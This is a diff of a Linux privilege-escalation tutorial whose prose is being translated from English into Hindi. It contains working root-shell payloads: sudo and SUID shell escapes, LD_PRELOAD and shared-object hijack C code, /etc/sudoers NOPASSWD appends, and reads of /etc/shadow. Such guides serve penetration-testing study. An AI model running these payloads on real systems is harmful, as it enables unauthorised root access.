{{#endref}} -## **Network** +## **नेटवर्क** -It's always interesting to enumerate the network and figure out the position of the machine. - -### Generic enumeration +नेटवर्क को सूचीबद्ध करना और मशीन की स्थिति का पता लगाना हमेशा दिलचस्प होता है। +### सामान्य सूचीबद्धता ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -707,30 +612,24 @@ cat /etc/networks #Files used by network services lsof -i ``` - ### Open ports -Always check network services running on the machine that you weren't able to interact with before accessing it: - +हमेशा उस मशीन पर चल रहे नेटवर्क सेवाओं की जांच करें जिनसे आप पहले इंटरैक्ट नहीं कर सके: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` - ### Sniffing -Check if you can sniff traffic. If you can, you could be able to grab some credentials. - +जांचें कि क्या आप ट्रैफ़िक को स्निफ़ कर सकते हैं। यदि आप ऐसा कर सकते हैं, तो आप कुछ क्रेडेंशियल्स प्राप्त कर सकते हैं। ``` timeout 1 tcpdump ``` - ## Users ### Generic Enumeration -Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** - +चेक करें **who** आप हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन से **login** कर सकते हैं और कौन से **root privileges** रखते हैं: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -752,15 +651,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` - ### Big UID -Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674)।\ +**इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`** ### Groups -Check if you are a **member of some group** that could grant you root privileges: +जांचें कि क्या आप किसी **समूह के सदस्य** हैं जो आपको रूट विशेषाधिकार दे सकता है: {{#ref}} interesting-groups-linux-pe/ @@ -768,51 +666,44 @@ interesting-groups-linux-pe/ ### Clipboard -Check if anything interesting is located inside the clipboard (if possible) - +जांचें कि क्या क्लिपबोर्ड के अंदर कुछ दिलचस्प है (यदि संभव हो) ```bash if [ `which xclip 2>/dev/null` ]; then - echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` - echo "Highlighted text: "`xclip -o 2>/dev/null` - elif [ `which xsel 2>/dev/null` ]; then - echo "Clipboard: "`xsel -ob 2>/dev/null` - echo "Highlighted text: "`xsel -o 2>/dev/null` - else echo "Not found xsel and xclip" - fi +echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` +echo "Highlighted text: "`xclip -o 2>/dev/null` +elif [ `which xsel 2>/dev/null` ]; then +echo "Clipboard: "`xsel -ob 2>/dev/null` +echo "Highlighted text: "`xsel -o 2>/dev/null` +else echo "Not found xsel and xclip" +fi ``` - -### Password Policy - +### पासवर्ड नीति ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` +### ज्ञात पासवर्ड -### Known passwords +यदि आप **पर्यावरण का कोई पासवर्ड जानते हैं** तो **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें** पासवर्ड का उपयोग करके। -If you **know any password** of the environment **try to login as each user** using the password. +### सु ब्रूट -### Su Brute +यदि आप बहुत शोर करने की परवाह नहीं करते हैं और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है। -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. - -## Writable PATH abuses +## लिखने योग्य PATH का दुरुपयोग ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ा सकते हैं जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता है** $PATH में। -### SUDO and SUID - -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +### SUDO और SUID +आपको sudo का उपयोग करके कुछ कमांड निष्पादित करने की अनुमति दी जा सकती है या उनके पास suid बिट हो सकता है। इसे जांचें: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` - -Some **unexpected commands allow you to read and/or write files or even execute a command.** For example: - +कुछ **अप्रत्याशित कमांड आपको फ़ाइलें पढ़ने और/या लिखने या यहां तक कि एक कमांड निष्पादित करने की अनुमति देती हैं।** उदाहरण के लिए: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -821,43 +712,33 @@ sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` - ### NOPASSWD -Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. - +Sudo कॉन्फ़िगरेशन एक उपयोगकर्ता को बिना पासवर्ड जाने किसी अन्य उपयोगकर्ता के विशेषाधिकारों के साथ कुछ कमांड निष्पादित करने की अनुमति दे सकता है। ``` $ sudo -l User demo may run the following commands on crashlab: - (root) NOPASSWD: /usr/bin/vim +(root) NOPASSWD: /usr/bin/vim ``` - -In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. - +इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में एक ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना तुच्छ है। ``` sudo vim -c '!sh' ``` - ### SETENV -This directive allows the user to **set an environment variable** while executing something: - +यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित करते समय: ```bash $ sudo -l User waldo may run the following commands on admirer: - (ALL) SETENV: /opt/scripts/admin_tasks.sh +(ALL) SETENV: /opt/scripts/admin_tasks.sh ``` - -This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: - +यह उदाहरण, **HTB मशीन Admirer** पर आधारित, **PYTHONPATH हाइजैकिंग** के लिए **संवेदनशील** था ताकि स्क्रिप्ट को रूट के रूप में निष्पादित करते समय एक मनमाना पायथन पुस्तकालय लोड किया जा सके: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### Sudo निष्पादन बाईपासिंग पथ -### Sudo execution bypassing paths - -**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ - +**जंप** करें अन्य फ़ाइलें पढ़ने के लिए या **सिंबलिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -867,89 +748,73 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` - -If a **wildcard** is used (\*), it is even easier: - +यदि **वाइल्डकार्ड** का उपयोग किया जाता है (\*), तो यह और भी आसान है: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` +**प्रतिरोध उपाय**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) - -### Sudo command/SUID binary without command path - -If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable +### Sudo कमांड/SUID बाइनरी बिना कमांड पथ के +यदि **sudo अनुमति** एकल कमांड को **पथ निर्दिष्ट किए बिना** दी गई है: _hacker10 ALL= (root) less_ तो आप इसे PATH वेरिएबल को बदलकर शोषण कर सकते हैं ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` - -This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. +यह तकनीक तब भी उपयोग की जा सकती है यदि एक **suid** बाइनरी **बिना उसके पथ को निर्दिष्ट किए किसी अन्य कमांड को निष्पादित करती है (हमेशा एक अजीब SUID बाइनरी की सामग्री की जांच करने के लिए** _**strings**_ **का उपयोग करें)**। [Payload examples to execute.](payloads-to-execute.md) -### SUID binary with command path +### कमांड पथ के साथ SUID बाइनरी -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. - -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +यदि **suid** बाइनरी **कमांड का पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** बनाने और उसे एक्सपोर्ट करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है। +उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे एक्सपोर्ट करने की कोशिश करनी चाहिए: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` - -Then, when you call the suid binary, this function will be executed +फिर, जब आप suid बाइनरी को कॉल करते हैं, तो यह फ़ंक्शन निष्पादित होगा ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को लोडर द्वारा सभी अन्य के पहले लोड करने के लिए किया जाता है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है। -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +हालांकि, सिस्टम की सुरक्षा बनाए रखने और इस सुविधा के दुरुपयोग को रोकने के लिए, विशेष रूप से **suid/sgid** निष्पादन योग्य के साथ, सिस्टम कुछ शर्तों को लागू करता है: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. - -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +- लोडर उन निष्पादन योग्य के लिए **LD_PRELOAD** की अनदेखी करता है जहाँ वास्तविक उपयोगकर्ता आईडी (_ruid_) प्रभावी उपयोगकर्ता आईडी (_euid_) से मेल नहीं खाती। +- suid/sgid वाले निष्पादन योग्य के लिए, केवल मानक पथों में पुस्तकालयों को प्रीलोड किया जाता है जो भी suid/sgid हैं। +अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, जो संभावित रूप से उच्चाधिकार के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है। ``` Defaults env_keep += LD_PRELOAD ``` - -Save as **/tmp/pe.c** - +**/tmp/pe.c** के रूप में सहेजें ```c #include #include #include void _init() { - unsetenv("LD_PRELOAD"); - setgid(0); - setuid(0); - system("/bin/bash"); +unsetenv("LD_PRELOAD"); +setgid(0); +setuid(0); +system("/bin/bash"); } ``` - -Then **compile it** using: - +फिर **इसे संकलित करें**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - -Finally, **escalate privileges** running - +अंततः, **privileges बढ़ाएँ** चलाते हुए ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` - > [!CAUTION] -> A similar privesc can be abused if the attacker controls the **LD_LIBRARY_PATH** env variable because he controls the path where libraries are going to be searched. - +> यदि हमलावर **LD_LIBRARY_PATH** env वेरिएबल को नियंत्रित करता है, तो एक समान प्रिवेस्क का दुरुपयोग किया जा सकता है क्योंकि वह उस पथ को नियंत्रित करता है जहाँ पुस्तकालयों की खोज की जाएगी। ```c #include #include @@ -957,9 +822,9 @@ sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo static void hijack() __attribute__((constructor)); void hijack() { - unsetenv("LD_LIBRARY_PATH"); - setresuid(0,0,0); - system("/bin/bash -p"); +unsetenv("LD_LIBRARY_PATH"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` @@ -969,19 +834,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` +### SUID बाइनरी – .so इंजेक्शन -### SUID Binary – .so injection - -When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command: - +जब किसी बाइनरी का सामना **SUID** अनुमतियों के साथ होता है जो असामान्य प्रतीत होता है, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलों को सही ढंग से लोड कर रहा है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` +उदाहरण के लिए, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (कोई ऐसा फ़ाइल या निर्देशिका नहीं)"_ जैसी त्रुटि का सामना करना संभावित शोषण का संकेत देती है। -For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation. - -To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code: - +इसका शोषण करने के लिए, कोई एक C फ़ाइल बनाएगा, जैसे _"/path/to/.config/libcalc.c"_, जिसमें निम्नलिखित कोड होगा: ```c #include #include @@ -989,22 +850,18 @@ To exploit this, one would proceed by creating a C file, say _"/path/to/.config/ static void inject() __attribute__((constructor)); void inject(){ - system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); +system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` +यह कोड, एक बार संकलित और निष्पादित होने पर, फ़ाइल अनुमतियों में हेरफेर करके और उच्चाधिकारों के साथ एक शेल निष्पादित करके विशेषाधिकारों को बढ़ाने का लक्ष्य रखता है। -This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges. - -Compile the above C file into a shared object (.so) file with: - +उपरोक्त C फ़ाइल को साझा वस्तु (.so) फ़ाइल में संकलित करें: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` +अंततः, प्रभावित SUID बाइनरी को चलाने से एक्सप्लॉइट सक्रिय होना चाहिए, जिससे संभावित सिस्टम समझौता हो सके। -Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise. - -## Shared Object Hijacking - +## साझा ऑब्जेक्ट हाइजैकिंग ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -1014,9 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` - -Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: - +अब जब हमने एक SUID बाइनरी खोज ली है जो एक ऐसे फ़ोल्डर से लाइब्रेरी लोड कर रही है जहाँ हम लिख सकते हैं, आइए उस फ़ोल्डर में आवश्यक नाम के साथ लाइब्रेरी बनाते हैं: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -1025,24 +880,21 @@ Now that we have found a SUID binary loading a library from a folder where we ca static void hijack() __attribute__((constructor)); void hijack() { - setresuid(0,0,0); - system("/bin/bash -p"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` - -If you get an error such as - +यदि आपको इस तरह की त्रुटि मिलती है ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` - -that means that the library you have generated need to have a function called `a_function_name`. +यह मतलब है कि आपने जो पुस्तकालय उत्पन्न किया है, उसमें `a_function_name` नामक एक फ़ंक्शन होना चाहिए। ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io) Unix बाइनरीज़ की एक चयनित सूची है जिसे एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में इंजेक्ट कर सकते हैं। -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करती है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1055,96 +907,79 @@ The project collects legitimate functions of Unix binaries that can be abused to ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +यदि आप `sudo -l` तक पहुँच सकते हैं, तो आप उपकरण [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि क्या यह किसी भी sudo नियम का शोषण करने का तरीका खोजता है। -### Reusing Sudo Tokens +### Sudo टोकन का पुन: उपयोग -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +उन मामलों में जहां आपके पास **sudo एक्सेस** है लेकिन पासवर्ड नहीं है, आप **sudo कमांड निष्पादन की प्रतीक्षा करके और फिर सत्र टोकन को हाईजैक करके** विशेषाधिकार बढ़ा सकते हैं। -Requirements to escalate privileges: +विशेषाधिकार बढ़ाने की आवश्यकताएँ: -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- आपके पास पहले से "_sampleuser_" के रूप में एक शेल है +- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह sudo टोकन की अवधि है जो हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देती है) +- `cat /proc/sys/kernel/yama/ptrace_scope` 0 है +- `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(आप अस्थायी रूप से `ptrace_scope` को `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` के साथ सक्षम कर सकते हैं या `/etc/sysctl.d/10-ptrace.conf` को स्थायी रूप से संशोधित करके और `kernel.yama.ptrace_scope = 0` सेट करके) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +यदि ये सभी आवश्यकताएँ पूरी होती हैं, तो **आप विशेषाधिकार बढ़ा सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +- **पहला शोषण** (`exploit.sh`) _/tmp_ में बाइनरी `activate_sudo_token` बनाएगा। आप इसका उपयोग अपने सत्र में **sudo टोकन को सक्रिय करने** के लिए कर सकते हैं (आपको स्वचालित रूप से एक रूट शेल नहीं मिलेगा, `sudo su` करें): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - -- The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** - +- **दूसरा एक्सप्लॉइट** (`exploit_v2.sh`) _/tmp_ में **रूट द्वारा सेटयूआईडी के साथ एक श शेल बनाएगा** ```bash bash exploit_v2.sh /tmp/sh -p ``` - -- The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** - +- **तीसरा एक्सप्लॉइट** (`exploit_v3.sh`) **एक sudoers फ़ाइल बनाएगा** जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है** ```bash bash exploit_v3.sh sudo su ``` - ### /var/run/sudo/ts/\ -If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\ -For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: - +यदि आपके पास फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर **लेखन अनुमतियाँ** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **एक उपयोगकर्ता और PID के लिए sudo टोकन बना सकते हैं**।\ +उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को अधिलेखित कर सकते हैं और आपके पास PID 1234 के साथ उस उपयोगकर्ता के रूप में एक शेल है, तो आप **sudo विशेषाधिकार प्राप्त कर सकते हैं** बिना पासवर्ड जाने: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` - ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. - +फाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फाइलें **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता रूट और समूह रूट द्वारा पढ़ी जा सकती हैं**।\ +**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकेंगे। ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` - -If you can write you can abuse this permission - +यदि आप लिख सकते हैं, तो आप इस अनुमति का दुरुपयोग कर सकते हैं। ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` - -Another way to abuse these permissions: - +इन अनुमतियों का दुरुपयोग करने का एक और तरीका: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` - ### DOAS -There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` - +`sudo` बाइनरी के कुछ विकल्प हैं जैसे कि OpenBSD के लिए `doas`, इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें। ``` permit nopass demo as root cmd vim ``` - ### Sudo Hijacking -If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. +यदि आप जानते हैं कि एक **उपयोगकर्ता आमतौर पर एक मशीन से कनेक्ट होता है और विशेषाधिकार बढ़ाने के लिए `sudo` का उपयोग करता है** और आपके पास उस उपयोगकर्ता संदर्भ में एक शेल है, तो आप **एक नया sudo निष्पादन योग्य बना सकते हैं** जो आपके कोड को रूट के रूप में चलाएगा और फिर उपयोगकर्ता का कमांड। फिर, **उपयोगकर्ता संदर्भ का $PATH संशोधित करें** (उदाहरण के लिए .bash_profile में नया पथ जोड़कर) ताकि जब उपयोगकर्ता sudo निष्पादित करे, तो आपका sudo निष्पादन योग्य चलाया जाए। -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) - -Or running something like: +ध्यान दें कि यदि उपयोगकर्ता एक अलग शेल का उपयोग करता है (bash नहीं) तो आपको नए पथ को जोड़ने के लिए अन्य फ़ाइलों को संशोधित करने की आवश्यकता होगी। उदाहरण के लिए[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` को संशोधित करता है। आप [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) में एक और उदाहरण पा सकते हैं। +या कुछ ऐसा चलाना: ```bash cat >/tmp/sudo < (0x0068c000) - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x005bb000) +linux-gate.so.1 => (0x0068c000) +libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x005bb000) ``` - -By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. - +`/var/tmp/flag15/` में lib को कॉपी करके, इसे `RPATH` वेरिएबल में निर्दिष्ट स्थान पर प्रोग्राम द्वारा उपयोग किया जाएगा। ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 - linux-gate.so.1 => (0x005b0000) - libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x00737000) +linux-gate.so.1 => (0x005b0000) +libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x00737000) ``` - -Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` - +फिर `/var/tmp` में एक बुरी लाइब्रेरी बनाएं `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { - char *file = SHELL; - char *argv[] = {SHELL,0}; - setresuid(geteuid(),geteuid(), geteuid()); - execve(file,argv,0); +char *file = SHELL; +char *argv[] = {SHELL,0}; +setresuid(geteuid(),geteuid(), geteuid()); +execve(file,argv,0); } ``` +## क्षमताएँ -## Capabilities - -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of 